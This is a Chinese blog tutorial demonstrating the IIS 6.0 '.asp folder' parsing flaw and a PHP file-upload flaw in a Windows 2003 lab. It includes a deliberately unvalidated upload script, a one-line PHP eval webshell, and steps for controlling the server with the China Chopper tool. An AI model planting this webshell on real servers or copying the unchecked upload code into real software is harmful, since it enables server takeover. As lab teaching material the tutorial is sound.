這次的內容是關于檔案上傳的漏洞和檔案決議的漏洞的內容,在下面我會進行一個關于這兩個方面的內容的實際操作以及原理介紹.
其實我一直想學的就是web滲透,但是一直都不知道web滲透都有什么后來才知道居然就是sql注入,還有這幾個漏洞的利用就是web滲透…這不就是我好幾年前看的東西么…
當然,其實我也學的不是很精通,只是稍微會一點,就不夸夸其談了.
先說說這兩個漏洞的區別.
一.檔案上傳漏洞
這個漏洞產生的原因是因為上傳檔案的不嚴謹所產生的.
比如我惡意上傳了一個一句話木馬,但是服務器沒有進行對檔案的過濾,就會將上傳的檔案存放在服務器,這樣是十分危險的.并且一般和后面的檔案決議漏洞配合在一起使用.
二.檔案決議漏洞
這個漏洞是由于服務器的原因造成的,就比如我們一會兒要舉例的iis6.0服務器就有這個漏洞.
簡單來說,在iis6.0服務器上,如果服務器有一個"xxx.asp"檔案夾,那么就會將這個檔案下面的所有檔案都當成一個asp腳本去執行.
想想看,如果我們上傳了一個洗掉系統資料庫的病毒檔案上去,然后又被決議成了某種語法去執行,是不是后果很可怕?
因此,我會特地去講一下這個東西的如何去實作的.后面我會把網站的原始碼附上.很多服務器都存在這個漏洞,我這里就介紹iis6.0的檔案決議漏洞,想看其他的服務器的漏洞可以去百度一下.
工具的話我把名字發上來,自己去找一下.
實驗環境:虛擬機win2003一臺,軟體phpstudy,中國菜刀
一.iis6.0服務器的檔案決議漏洞
前面已經說過,iis6.0的漏洞就是會把xxx.asp檔案夾下的檔案都當作asp檔案執行,我們試試便知.
win2003都會自帶iis6,因此直接安裝就好,安裝教程我就不發了,百度有.
如圖,此刻已經是安裝好的.記得點到web的選項,按照圖中進行配置.

此刻我們已經搭建網站成功.用主機輸入服務器ip即可進行訪問.由于我之前搭建phpstudy占用了80埠,我就把埠改成了82.你們在做的時候應該是不需要這一步的.

配置好以后,點擊網站,然后右鍵那個默認網站,點擊停用.

之后右鍵網站->新建->網站,新建一個自己的網站.我的已經建好了,就不做多余的演示了

需要注意的是,在新建網站的時候,有個運行腳本的選項要選上.如圖

在這個里面點擊右鍵,添加一個檔案,和檔案夾,檔案名字叫做"index.html",檔案夾名字隨便起一個以.asp結尾的即可,我的是wzc.asp.然后在檔案夾里面新建一個檔案,名字隨便起一個,比如1.txt.


然后在這兩個新建的1.txt和index.html都寫入以下的內容:
<%
response.write("My first ASP script!")
%>
為什么要這么建檔案呢?其實就是為了驗證這個漏洞的.上面的代碼是asp的語法,在螢屏上顯示一句話.
如果檔案被決議成了asp檔案,那么就會只顯示引號里面的內容.
如果沒有的話,就直接把所有內容都顯示出來.
因此.我們新建了這兩個檔案用來驗證.
驗證一:訪問非asp檔案夾下的檔案(我的埠是81)
也就是網站的主頁.我用主機進行訪問時,頁面顯示的是這樣的:

看,是不是直接把檔案當成了一個txt文本顯示了出來?
驗證二:訪問以.asp結尾檔案夾下的檔案
訪問結果如圖:

果然,我們的代碼被當成了asp腳本執行了.由此驗證,我們的iis6.0確實存在這個漏洞.
二.檔案上傳漏洞和檔案決議漏洞的結合使用
檔案上傳漏洞產生的原因就不像上一個是因為服務器產生的了,而是因為程式員的不嚴謹而產生的.
在一些允許上傳檔案的網站中,撰寫php后臺腳本時,不會對檔案近進行檢查,所以有一些黑客會利用這個上傳一個叫"一句話木馬"的腳本.
這種腳本屬于木馬,當上傳成功以后,在攻擊者的電腦使用比如"中國菜刀"之類的軟體進行連接,最終為所欲為.
當然,中國菜刀屬于比較落后的軟甲,比較先進的有冰蝎等軟體.有興趣可以百度.
由此可見,這種漏洞的危害性是非常大的.下面我會演示一下這個程序.
程序實作
首先安裝phpstudy,然后在你的服務器下添加下面兩個網站.原始碼發在下面.
檔案一:upload-file.html
<html>
<head>
<title> 檔案上傳之決議漏洞~php</title>
</head>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
檔案二:upload.php
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
放在如圖的位置.

遠程訪問以下,發現成功.

我們隨便上傳一個php檔案.

…連點防御都沒有(從那個php代碼就可以看出,不過我是從攻擊者的角度出發的,由此可證明這個php代碼有檔案上傳的漏洞).
如圖,在服務器下有個upload檔案,里面就是我們上傳的檔案.

這個php一句話木馬只是用來測驗的,是為了看看能不能上傳成功.現在我把一句話木馬原始碼奉上.
<?php eval($_POST["wzc"]);?>
這段代碼的原理我就不解釋了.目的是為了方便使中國菜刀進行連接.你需要修改的使引號里面的內容,這個是后面中國菜刀連接是的密碼.
如圖,這個是我的中國菜刀的界面,按照圖中的方式配置.

上面把你的一句話木馬的網站上的路徑填上.我當時為了方便,把名字改成了"1.php".后面的空填剛剛的密碼,下面記得選擇php(eval)代碼型別.連接以后,右鍵檔案管理,會產生如圖的效果.

看,現在我們就進到服務器里面了,接下來想怎么搞就怎么搞了.
好了,就寫這么多吧.
剩余的也懶的想了,如果還想繼續看一些東西的話,可以關注我,我后續會發一些比如資料庫注入,軟體破解之類的東西.
有興趣的可以加我qq:1392969921
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/171481.html
標籤:其他
上一篇:某年某月有幾天 輸入一個年份,輸入一個月份,輸出該年該月有多少天。
下一篇:滲透測驗面試問題合集
